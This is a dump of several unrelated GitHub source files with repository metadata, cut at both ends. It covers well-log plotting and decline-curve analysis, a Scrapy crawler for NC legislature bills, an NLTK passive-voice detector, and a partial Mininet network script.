1)\r\nplt.grid(axis='both')\r\nplt.plot(rho1,DZ1, color='red')\r\nplt.title('Density vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('Density, g/cc', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n \r\nDZ1,DT1 =data1[:,0], data1[:,8]\r\nDZ1=DZ1[np.where(DT1>0)]\r\nDT1=DT1[np.where(DT1>0)]\r\n\r\nplt.subplot(1, 6, 2)\r\nplt.grid(axis='both')\r\nplt.plot(DT1,DZ1, color='green')\r\nplt.title('DT vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DT, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ1,DTS1 =data1[:,0], data1[:,9]\r\nDZ1=DZ1[np.where(DTS1>0)]\r\nDTS1=DTS1[np.where(DTS1>0)]\r\n\r\nplt.subplot(1, 6, 3)\r\nplt.grid(axis='both')\r\nplt.plot(DTS1,DZ1, color='blue')\r\nplt.title('DTS vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DTS, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ1,GR1 =data1[:,0], data1[:,10]\r\nDZ1=DZ1[np.where(GR1>0)]\r\nGR1=GR1[np.where(GR1>0)]\r\n\r\nplt.subplot(1, 6, 4)\r\nplt.grid(axis='both')\r\nplt.plot(GR1,DZ1, color='red')\r\nplt.title('GR vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('GR, API', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ1,NPHI1 =data1[:,0], data1[:,12]\r\nDZ1=DZ1[np.where(NPHI1>0)]\r\nNPHI1=NPHI1[np.where(NPHI1>0)]\r\n\r\nplt.subplot(1, 6, 5)\r\nplt.grid(axis='both')\r\nplt.plot(NPHI1,DZ1, color='blue')\r\nplt.title('NPHI vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('NPHI, v/v', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\n\r\nDZ1,CALI1 =data1[:,0], data1[:,6]\r\nDZ1=DZ1[np.where(CALI1>0)]\r\nCALI1=CALI1[np.where(CALI1>0)]\r\n\r\nplt.subplot(1, 6, 6)\r\nplt.grid(axis='both')\r\nplt.plot(CALI1,DZ1, color='blue')\r\nplt.title('Caliper vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('caliper, inch', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\n\r\n\r\n\r\n\r\n# Well 15_9-F-4\r\ndata2 = np.loadtxt(\"volve_logs/15_9-F-4_INPUT.LAS\",skiprows=65)\r\nDZ2,rho2=data2[:,0], data2[:,7]\r\nDZ2=DZ2[np.where(rho2>0)]\r\nrho2=rho2[np.where(rho2>0)]\r\n\r\n\r\ntitleFontSize = 22\r\nfontSize = 20\r\n\r\n\r\nfig = plt.figure(figsize=(36,20),dpi=100)\r\nfig.tight_layout(pad=1, w_pad=4, h_pad=2)\r\n\r\nplt.subplot(1, 6, 1)\r\nplt.grid(axis='both')\r\nplt.plot(rho2,DZ2, color='red')\r\nplt.title('Density vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('Density, g/cc', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n \r\nDZ2,DT2 =data2[:,0], data2[:,2]\r\nDZ2=DZ2[np.where(DT2>0)]\r\nDT2=DT2[np.where(DT2>0)]\r\n\r\nplt.subplot(1, 6, 2)\r\nplt.grid(axis='both')\r\nplt.plot(DT2,DZ2, color='green')\r\nplt.title('DT vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DT, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ2,DTS2 =data2[:,0], data2[:,3]\r\nDZ2=DZ2[np.where(DTS2>0)]\r\nDTS2=DTS2[np.where(DTS2>0)]\r\n\r\nplt.subplot(1, 6, 3)\r\nplt.grid(axis='both')\r\nplt.plot(DTS2,DZ2, color='blue')\r\nplt.title('DTS vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DTS, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ2,GR2 =data2[:,0], data2[:,4]\r\nDZ2=DZ2[np.where(GR2>0)]\r\nGR2=GR2[np.where(GR2>0)]\r\n\r\nplt.subplot(1, 6, 4)\r\nplt.grid(axis='both')\r\nplt.plot(GR2,DZ2, color='red')\r\nplt.title('GR vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('GR, API', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ2,NPHI2 =data2[:,0], data2[:,5]\r\nDZ2=DZ2[np.where(NPHI2>0)]\r\nNPHI2=NPHI2[np.where(NPHI2>0)]\r\n\r\nplt.subplot(1, 6, 5)\r\nplt.grid(axis='both')\r\nplt.plot(NPHI2,DZ2, color='blue')\r\nplt.title('NPHI vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('NPHI, v/v', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\n#No caliper log data collected in the LAS file\r\n\r\n#DZ2,CALI2 =data1[:,0], data1[:,]\r\n#DZ1=DZ1[np.where(CALI1>0)]\r\n#CALI1=CALI1[np.where(CALI1>0)]\r\n#\r\n#plt.subplot(1, 6, 6)\r\n#plt.grid(axis='both')\r\n#plt.plot(CALI1,DZ1, color='blue')\r\n#plt.title('Caliper vs Depth', fontsize=titleFontSize, fontweight='bold')\r\n#plt.xlabel('caliper, inch', fontsize = fontSize, fontweight='bold')\r\n#plt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\n#plt.gca().invert_yaxis()\r\n\r\n\r\n# well 15_9-F-14\r\ndata3 = np.loadtxt(\"volve_logs/15_9-F-14_INPUT.LAS\",skiprows=69)\r\nDZ3,rho3=data3[:,0], data3[:,9]\r\nDZ3=DZ3[np.where(rho3>0)]\r\nrho3=rho3[np.where(rho3>0)]\r\n\r\n\r\ntitleFontSize = 22\r\nfontSize = 20\r\n#Plotting multiple well log tracks on one graph\r\nfig = plt.figure(figsize=(36,20),dpi=100)\r\nfig.tight_layout(pad=1, w_pad=4, h_pad=2)\r\n\r\nplt.subplot(1, 6, 1)\r\nplt.grid(axis='both')\r\nplt.plot(rho3,DZ3, color='red')\r\nplt.title('Density vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('Density, g/cc', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n \r\nDZ3,DT3 =data3[:,0], data3[:,3]\r\nDZ3=DZ3[np.where(DT3>0)]\r\nDT3=DT3[np.where(DT3>0)]\r\n\r\nplt.subplot(1, 6, 2)\r\nplt.grid(axis='both')\r\nplt.plot(DT3,DZ3, color='green')\r\nplt.title('DT vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DT, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ3,DTS3 =data3[:,0], data3[:,4]\r\nDZ3=DZ3[np.where(DTS3>0)]\r\nDTS3=DTS3[np.where(DTS3>0)]\r\n\r\nplt.subplot(1, 6, 3)\r\nplt.grid(axis='both')\r\nplt.plot(DTS3,DZ3, color='blue')\r\nplt.title('DTS vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('DTS, us/ft', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ3,GR3 =data3[:,0], data3[:,5]\r\nDZ3=DZ3[np.where(GR3>0)]\r\nGR3=GR3[np.where(GR3>0)]\r\n\r\nplt.subplot(1, 6, 4)\r\nplt.grid(axis='both')\r\nplt.plot(GR3,DZ3, color='red')\r\nplt.title('GR vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('GR, API', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\nDZ3,NPHI3 =data3[:,0], data3[:,6]\r\nDZ3=DZ3[np.where(NPHI3>0)]\r\nNPHI3=NPHI3[np.where(NPHI3>0)]\r\n\r\nplt.subplot(1, 6, 5)\r\nplt.grid(axis='both')\r\nplt.plot(NPHI3,DZ3, color='blue')\r\nplt.title('NPHI vs Depth', fontsize=titleFontSize, fontweight='bold')\r\nplt.xlabel('NPHI, v/v', fontsize = fontSize, fontweight='bold')\r\nplt.ylabel('Depth, ft', fontsize = fontSize, fontweight='bold')\r\nplt.gca().invert_yaxis()\r\n\r\n\r\n#DZ1,CALI1 =data1[:,0], data1[:,6]\r\n#DZ1=DZ1[np.where(CALI1>0)]\r\n#CALI1=CALI1[np.where(CALI1>0)]\r\n#\r\n#plt.subplot(1, 6, 6)\r\n#plt.grid(axis='both')\r\n#plt.plot(CALI1,DZ1, color='blue')\r\n#plt.title('Caliper vs Depth', fontsize=titleFontSize, fontweight='bold')\r\n#plt.xlabel('caliper, inch', fontsize = fontSize, fontweight='bold')\r\n#plt.ylabel('Depth, m', fontsize = fontSize, fontweight='bold')\r\n#plt.gca().invert_yaxis()\r\n# \r\n " }, { "alpha_fraction": 0.6576576828956604, "alphanum_fraction": 0.6949806809425354, "avg_line_length": 31.647058486938477, "blob_id": "94193c799d76d70144cfb968b233c6b0b0c2d9c8", "content_id": "2031f9e4e878de45fedf85579f7461c3a1c62883", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3885, "license_type": "no_license", "max_line_length": 127, "num_lines": 119, "path": "/db_manipulation class.py", "repo_name": "rhall35/pete2061", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n#import seaborn as sns\n\nimport pandas as pd\nimport sqlite3\n\n# Load spreadsheet\nxl = pd.ExcelFile('DCAwells_Solved/DCAwells_Solved/DCA_Well 1.xlsx')\n#fileName = 'DCAwells_Solved/DCAwells_Solved/DCA_Well '+str(WellID) +'.xlsx'\n\n#xl = pd.ExcelFile(fileName)\n# Print the sheet names\nprint(xl.sheet_names)\n\n# Load a sheet into a DataFrame by name: df1\ndf1 = xl.parse('DCARegression')\n\n#create a database named \"DCA.db\" in the folder where this code is located\nconn = sqlite3.connect(\"DCA.db\") #It will only connect to the DB if it already exists\n\n#create data table to store summary info about each case/well\ncur = conn.cursor()\n#RUN THIS TO CREATE A NEW TABLE\ncur.execute(\"CREATE TABLE DCAparams (wellID INTEGER, qi REAL, Di REAL, b REAL)\")\n#cur.execute(\"CREATE TABLE DCAparams(ID INTEGER NOT NULL PRIMARY KEY, wellID INTEGER, qi REAL, Di REAl, b REAL)\")\nconn.commit()\n\ndfLength = 24\n\n\nwellID = 1\n\nrateDF = pd.DataFrame({'wellID':wellID*np.ones(dfLength,dtype=int), 'time':range(1,dfLength+1),'rate':df1.iloc[8:32,1].values})\nrateDF['Cum'] = rateDF['rate'].cumsum() #creates a column named 'Cum' in rateDF that is the cumulative oil production \n\n#insert data into the summary table\nqi = df1.iloc[2,3]\nDi = df1.iloc[3,3]\nb = df1.iloc[4,3]\n\ncur.execute(\"INSERT INTO DCAparams VALUES ({},{},{},{})\".format(wellID, qi, Di, b))\nconn.commit()\n\nt = np.arange(1,dfLength+1)\nDi = Di/12 #convert to monthly\n\nq = 30.4375*qi/((1 + b*Di*t)**(1/b))\nNp = 30.4375*(qi/(Di*(1-b)))*(1-(1/(1+(b*Di*t))**((1-b)/b))) #30.4375 = 365.125/12 (avg # days in a month)\n#Np is cum. prod.\nerror_q = rateDF['rate'].values - q\nSSE_q = np.dot(error_q, error_q) #Sum of Square Error\n\nerrorNp = rateDF['Cum'].values - Np\nSSE_Np = np.dot(errorNp,errorNp)\n\n\nrateDF['q_model'] = q\nrateDF['Cum_model'] = Np\n# Use DataFrame's to_sql() function to put the dataframe into a database table called \"Rates\"\nrateDF.to_sql(\"Rates\", conn, if_exists=\"append\", index = False)\n\n# Read from Rates database table using the SQL SELECT statement\ndf1 = pd.read_sql_query(\"SELECT * FROM Rates;\", conn)\ndf2 = pd.read_sql_query(\"SELECT * FROM DCAparams;\", conn) #\"SELECT *\" is select all\n \nconn.close()\n\n#This connects to existing DCA.db because DCA.b already exists\nconn = sqlite3.connect(\"DCA.db\")\n\nwellID = 7\ndf1 = pd.read_sql_query(\"SELECT * FROM Rates WHERE wellID = {};\".format(wellID), conn)\n\n\n#Custom Plot parameters\ntitleFontSize = 18\naxisLabelFontSize = 15\naxisNumFontSize = 13\n\ncurrFig = plt.figure(figsize=(7,5), dpi=100)\n\n# Add set of axes to figure\naxes = currFig.add_axes([0.15, 0.15, 0.7, 0.7])# left, bottom, width, height (range 0 to 1)\n\n# Plot on that set of axes\naxes.plot(df1['time'], df1['Cum']/1000, color=\"red\", ls='None', marker='o', markersize=5,label = 'well '+str(wellID) )\naxes.plot(df1['time'], df1['Cum_model']/1000, color=\"red\", lw=3, ls='-',label = 'well '+str(wellID) )\naxes.legend(loc=4)\naxes.set_title('Cumulative Production vs Time', fontsize=titleFontSize, fontweight='bold')\naxes.set_xlabel('Time, Months', fontsize=axisLabelFontSize, fontweight='bold') # Notice the use of set_ to begin methods\naxes.set_ylabel('Cumulative Production, Mbbls', fontsize=axisLabelFontSize, fontweight='bold')\naxes.set_ylim([0, 1200])\naxes.set_xlim([0, 25])\nxticks = range(0,30,5) #np.linspace(0,4000,5)\naxes.set_xticks(xticks)\naxes.set_xticklabels(xticks, fontsize=axisNumFontSize); \n\nyticks = [0, 400, 800, 1200]\naxes.set_yticks(yticks)\naxes.set_yticklabels(yticks, fontsize=axisNumFontSize); \n\ncurrFig.savefig('well'+str(wellID)+'_Gp.png', dpi=600)\n\n\n\n#def objFun(qi,Di,b,t):\n# q = qi/((1 + b*Di*t)**(1/b))\n#\n# error_q = rateDF['rate'].values - 30.4375*q\n# SSE_q = np.dot(error_q,error_q)\n# \n# return SSE_q\n#\n#SSE_q = objFun(qi,Di,b,t)\n\n#Code to delete some rows in a data table\n#cur.execute(\"DELETE FROM DCAparams WHERE caseID = 1;\")\n#conn.commit()\n" } ]
2
davidblackwelder/VoteSmarterNC
https://github.com/davidblackwelder/VoteSmarterNC
08919a93e96b2d8cc2541c3afc460362521e1c8b
c3662eec196b6e1c0b6c957e3f3ec82b2db5aabd
068bf008960a10d5b3d8a15cfc38a94b7daa0e22
refs/heads/master
2020-03-07T00:52:52.827755
2018-02-28T01:10:22
2018-02-28T01:10:22
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5557138919830322, "alphanum_fraction": 0.56939297914505, "avg_line_length": 52.16666793823242, "blob_id": "7471805e297654a6b152033013a17b6628d64379", "content_id": "793dd743729d39d406fbb90bb647c37b1d15e045", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3509, "license_type": "no_license", "max_line_length": 188, "num_lines": 66, "path": "/ncleg/spiders/nc_leg_bills_spider.py", "repo_name": "davidblackwelder/VoteSmarterNC", "src_encoding": "UTF-8", "text": "import scrapy\nfrom ncleg.items import Bill\nfrom urllib.parse import urlparse, parse_qs\n\nclass NcLegBillsSpider(scrapy.Spider):\n name = \"bills\"\n houseBills = 'http://www.ncleg.net/gascripts/BillLookUp/BillLookUp.pl?BillID=%chamber%%num%&Session=%session%'\n billStart = 1\n houseBillStart = 1\n senateBillStart = 1\n # Set the available chambers (House and Senate)\n chambers = ['H', 'S']\n\n def __init__(self, chamber='', session='', *args, **kwargs):\n super(NcLegBillsSpider, self).__init__(*args, **kwargs)\n self.chamber = chamber\n self.session = session\n\n def start_requests(self):\n # Check if getting single chamber or both\n if self.chamber in self.chambers:\n self.chambers = [self.chamber]\n for c in self.chambers:\n # Bills are numbered predictably so increment bill number += 1\n if (c == 'H'):\n while self.houseBillStart > 0:\n yield scrapy.Request(url=self.houseBills.replace('%num%',str(self.houseBillStart)).replace('%chamber%',c).replace('%session%', str(self.session)), callback=self.parse)\n self.houseBillStart += 1\n\n if (c == 'S'):\n while self.senateBillStart > 0:\n yield scrapy.Request(url=self.houseBills.replace('%num%',str(self.senateBillStart)).replace('%chamber%',c).replace('%session%', str(self.session)), callback=self.parse)\n self.senateBillStart += 1\n\n def parse(self, response):\n # Return when we have incremented past the last known bill\n if len(response.xpath('//div[@id = \"title\"]/text()').re('Not Found')) > 0:\n chamber = parse_qs(urlparse(response.url).query)['BillID'][0][0]\n if (chamber == 'H'):\n self.houseBillStart = -1\n if (chamber == 'S'):\n self.senateBillStart = -1\n return\n\n # Use Bill item to catch data\n item = Bill()\n item['number'] = response.xpath('//div[@id = \"mainBody\"]/table[1]/tr/td[2]/text()').re('\\d+')[0]\n item['chamber'] = response.xpath('//div[@id = \"mainBody\"]/table[1]/tr/td[2]/text()').re('\\w+')[0]\n item['session'] = response.xpath('//div[@id = \"mainBody\"]/div[3]/text()').extract_first()\n item['title'] = response.xpath('//div[@id = \"title\"]/a/text()').extract_first()\n item['keywords'] = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[6]/td/div/text()').re('[^,]+')\n item['counties'] = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[4]/td/text()').re('[^,]+')\n item['statutes'] = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[5]/td/div/text()').re('[^,]+')\n\n # In 2017 member names are embedded in links\n if (self.session == '2017'):\n item['sponsors'] = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[2]/td/a/text()').extract()\n item['primary_sponsors'] = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[2]/td/br/preceding-sibling::a/text()').extract()\n else:\n sponsors = response.xpath('//div[@id = \"mainBody\"]/table[2]/tr/td[3]/table/tr[2]/td/text()').re('(?!Primary$)\\w+\\.?\\ ?\\-?\\'?\\w+')\n primary = sponsors.index(\"Primary\")\n if (primary > -1):\n item['primary_sponsors'] = sponsors[0:primary]\n del sponsors[primary]\n item['sponsors'] = sponsors\n yield item\n" }, { "alpha_fraction": 0.7599999904632568, "alphanum_fraction": 0.7704347968101501, "avg_line_length": 46.91666793823242, "blob_id": "44b88d608d0351c30658a4f9ef5ada6ae5cc069d", "content_id": "fa95cfddb5b72482f4000a2b5d3b0482b8e96683", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1725, "license_type": "no_license", "max_line_length": 315, "num_lines": 36, "path": "/README.md", "repo_name": "davidblackwelder/VoteSmarterNC", "src_encoding": "UTF-8", "text": "# NC Legislature Bill scrapy\n\nUse this scrapy to obtain bill data from the [NC Legislature website](http://www.ncleg.net).\n\nThe scrapy extracts each bill's data into an object. Use [scrapy](https://github.com/scrapy/scrapy) command to out put a JSON list of bill objects.\n\n## How to parse that sweet, raw data\n\n1. Requires python3, scrapy, and related dependencies.\n1. Install scrapy, using pip for example: `pip install scrapy`.\n1. Navigate into repo and into ncleg scraper directory: `ncleg/`.\n1. Copy file `example.settings.py` to `settings.py`. Adjust Scrapy configuration according to your needs.\n1. Tell scrapy to crawl \"bills\" via command line instruction. Pass \"session\" and \"chamber\" options (chamber is optional, passing no param will scrape both chambers). For example scrape bills Senate bills from 2017-2018 session to a json file: `scrapy crawl <spider> -a chamber=S -a session=2017 -o <filename>.json`.\n\n## Current spiders\n\nSo far, I've simply created a spider class for each individual page of information.\n\n* `bills` - retrieves bill info\n* `membersvotes` - retrieves basic member information along with every member vote from the request session\n\n## AutoThrottle\n\nIn order to politely preserve this public resource, please manage your autothrottle settings appropriately in `settings.py` file.\n\n## TO-DO\n\n* Better member scraping and find a unique numerical ID which may exist in the back-end.\n* Prepare a single-file format for a universal export of bill and/or voting data.\n* Get the primary sponsors from bills\n* Get Bill counties data\n* Get Bill statutes data\n\n## More docs\n\n[More documentation on extending scrapy functionality & output formats](https://doc.scrapy.org/en/latest/topics/commands.html).\n" } ]
2
Esoiya/passive-voice-detector
https://github.com/Esoiya/passive-voice-detector
f453d99b4c62594c9e17662d37139dd9a6c7a9ea
3f508ac5bd8c795a03bd58a09a5955f6c2df50e1
95df157678be9dbad8ccc1754f2add1e1443ee52
refs/heads/master
2022-11-20T22:02:18.173329
2020-07-28T20:50:27
2020-07-28T20:50:27
283,018,196
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5548245906829834, "alphanum_fraction": 0.5574561357498169, "avg_line_length": 21.352941513061523, "blob_id": "7db2d0fcd080b4fd6cea71f2e27f8af76570fd49", "content_id": "7c032462085e35aef742447dd641368516da4e99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2280, "license_type": "no_license", "max_line_length": 83, "num_lines": 102, "path": "/passive.py", "repo_name": "Esoiya/passive-voice-detector", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n\nimport os\nimport sys\n\nimport nltk\n\nfrom itertools import dropwhile\n\nfrom logger import logger\nfrom tagger import POSTagger\n\n\nTAGGER = None\n\n\nclass PassiveDetector:\n\n @staticmethod\n def tag(sent):\n \"\"\"\n Take a sentence a return a list of (word, tag) tuples\n \"\"\"\n tokens = nltk.word_tokenize(sent)\n return TAGGER.tag(tokens)\n \n @staticmethod\n def checker(tags):\n \"\"\"\n Returns true if the sentence is a passive sentence\n \n - if there is a \"be\" verb followed by another verb not including gerunds\n - ignoring gerunds (*ing)\n \"\"\"\n \n afterBe = list(\n dropwhile( lambda tag : not tag.startswith(\"BE\"), tags\n )\n )\n \n logger.info(\"After 'to be': \")\n \n print(afterBe)\n \n nongerunds = lambda tag : tag.startswith(\"V\") and not tag.startswith(\"VBG\")\n \n filtered = filter(nongerunds, afterBe)\n \n checked_tags = any(filtered)\n \n print(checked_tags)\n \n return checked_tags\n \n \n\ndef find_passives(sentence):\n \"\"\"\n Given a sentence, tag the sentence and print if it's passive\n \"\"\"\n \n tagged_sent = PassiveDetector.tag(sentence)\n \n tags = map(lambda tup: tup[1], tagged_sent)\n \n if PassiveDetector.checker(tags):\n print(\"Passive located\")\n print(f\"Passive: {sentence}\")\n else:\n print(f\"Not passive: {sentence}\")\n \n\ndef extract_text(arg, punkt):\n \"\"\"\n Extract sentences from argument text and find the passive sentences\n \"\"\"\n\n with open(arg) as f:\n logger.info(\"Reading Text file\")\n text = f.read()\n sentences = punkt.tokenize(text)\n \n logger.info(f\"{len(sentences)} sentences detected\")\n \n for sent in sentences:\n find_passives(sent)\n print(\"-\"*60)\n\n\nif __name__ == \"__main__\":\n\n TAGGER = POSTagger().get()\n \n if len(sys.argv) > 1:\n \n # pre-trained version of PunktSentenceTokenizer\n punkt = nltk.tokenize.punkt.PunktSentenceTokenizer()\n \n for arg in sys.argv[1:]:\n extract_text(arg, punkt)\n else:\n print(\"No sentences\")\n" }, { "alpha_fraction": 0.8301886916160583, "alphanum_fraction": 0.8301886916160583, "avg_line_length": 25.5, "blob_id": "abb45d8924f05837fafd82ac2c9438928cc73b72", "content_id": "c0d7e7c4ee2478e286d40dc13bda95da0fb5ab0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 53, "license_type": "no_license", "max_line_length": 27, "num_lines": 2, "path": "/README.md", "repo_name": "Esoiya/passive-voice-detector", "src_encoding": "UTF-8", "text": "# passive-voice-detector\nNLTK Passive voice detector\n" }, { "alpha_fraction": 0.44337812066078186, "alphanum_fraction": 0.45153552293777466, "avg_line_length": 24.728395462036133, "blob_id": "b9277eb8e5b90165efee3b6cd6128ef9536a3adf", "content_id": "11487d978df0bddf4526cb164b5806011a9a06a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2084, "license_type": "no_license", "max_line_length": 76, "num_lines": 81, "path": "/tagger.py", "repo_name": "Esoiya/passive-voice-detector", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os\nimport sys\n\nimport nltk\nfrom nltk.corpus import brown\nfrom pickle import dump, load\n\n\nfrom logger import logger\n\n\nclass POSTagger:\n\n \"\"\"\n POS tagger using the Brown Corpus\n \"\"\"\n \n def __create(self):\n \"\"\"\n Trains tagger using Brown Corpus\n \"\"\"\n logger.info(\"Building Tagger\")\n \n train_sents = brown.tagged_sents()\n \n # NLTK book chapter\n \n tag0 = nltk.RegexpTagger(\n [(r'^-?[0-9]+(.[0-9]+)?$', 'CD'), # cardinal numbers\n (r'(The|the|A|a|An|an)$', 'AT'), # articles\n (r'.*able$', 'JJ'), # adjectives\n (r'.*ness$', 'NN'), # nouns formed from adjectives\n (r'.*ly$', 'RB'), # adverbs\n (r'.*s$', 'NNS'), # plural nouns\n (r'.*ing$', 'VBG'), # gerunds\n (r'.*ed$', 'VBD'), # past tense verbs\n (r'.*', 'NN') # nouns (default)\n ])\n \n logger.debug(\"Tag 0 completed\")\n \n tag1 = nltk.UnigramTagger(train_sents, backoff=tag0)\n logger.debug(\"Tag 1 completed\")\n \n tag2 = nltk.BigramTagger(train_sents, backoff=tag1)\n logger.debug(\"Tag 2 completed\")\n \n tag3 = nltk.TrigramTagger(train_sents, backoff=tag2)\n logger.info(\"Built Tagger\")\n \n return tag3\n \n \n def load_tagger(self):\n \n input = open(\"tagger.pkl\", \"rb\")\n \n tagger = load(input)\n \n input.close()\n \n logger.info(\"The tagger has been loaded.\")\n \n \n return tagger\n \n \n def get(self):\n if os.path.exists(\"tagger.pkl\"):\n return self.load_tagger()\n \n with open(\"tagger.pkl\", \"wb\") as tag:\n \n new_tagger = self.__create()\n \n dump(new_tagger, tag, -1)\n \n logger.info(f\"Tagger : {new_tagger}\")\n return new_tagger\n" }, { "alpha_fraction": 0.7112675905227661, "alphanum_fraction": 0.7183098793029785, "avg_line_length": 13.199999809265137, "blob_id": "e7aa8eb390a042b3911a6545668e375f0de93755", "content_id": "c7283f6d1be8a21d8f8a3ca2d4ccaf256ab9b300", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "no_license", "max_line_length": 40, "num_lines": 10, "path": "/logger.py", "repo_name": "Esoiya/passive-voice-detector", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n\"\"\"\npython logger\n\"\"\"\n\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n\nlogger = logging.getLogger(__name__)\n" } ]
4
ankur263/201405551_cloud_assignments
https://github.com/ankur263/201405551_cloud_assignments
892578d7c7d8f2da044045dc3bfc31c6c63e37f9
059d81acf198dedfafc0db6e9cfaf062fc23b5d4
af9c34fd9976bd3a4c423bd749eb59bd6f8a6b8f
refs/heads/master
2016-09-06T07:09:50.407096
2015-09-03T16:06:06
2015-09-03T16:06:06
41,869,500
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5316606760025024, "alphanum_fraction": 0.5495818257331848, "avg_line_length": 21.62162208557129, "blob_id": "bf5164ab5ba19f1c273d2bb2a801bbe9c1bd50d9", "content_id": "5c3be5d3fdbfff67363c50e210e1e5eb5f092f2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1674, "license_type": "no_license", "max_line_length": 52, "num_lines": 74, "path": "/Assignment2/CustomNet.py", "repo_name": "ankur263/201405551_cloud_assignments", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nfrom mininet.topolib import TreeTopo\nfrom mininet.net import Mininet\nfrom mininet.node import Controller\nfrom mininet.node import RemoteController\nfrom mininet.cli import CLI\nfrom mininet.log import setLogLevel, info\nfrom mininet.link import TCLink\nimport sys\n\nx = sys.argv[1]\ny = sys.argv[2]\nh = []\ns = []\ndef emptyNet():\n\n \"Create an empty network and add nodes to it.\"\n \n net = Mininet( autoStaticArp=True, link=TCLink )\n \n info( '*** Adding controller\\n' )\n net.addController( controller=RemoteController )\n\n info( '*** Adding hosts\\n' )\n for i in range(1,int(x)*int(y)+1):\n \tif i%2 != 0:\n \t \tipaddr='10.0.0.'+str(i)\n \t\tprint ipaddr\n \t \ttemp=net.addHost('h'+str(i), ip=ipaddr)\n \t \th.append(temp)\n \telse:\n \t\tipaddr='11.0.0.'+str(i)\n \t\tprint ipaddr\n \t\ttemp=net.addHost('h'+str(i), ip=ipaddr)\n h.append(temp)\t\t\t\n\n info( '*** Adding switch\\n' )\n for i in range(1,int(y)+1):\n \ttemp = net.addSwitch( 's'+str(i) )\n \ts.append(temp)\n\n info( '***Creating links' )\n \n c = 1\n p = 0\n for i in range(int(x)*int(y)):\n \ttemp = net.addLink( h[i], s[p] )\n 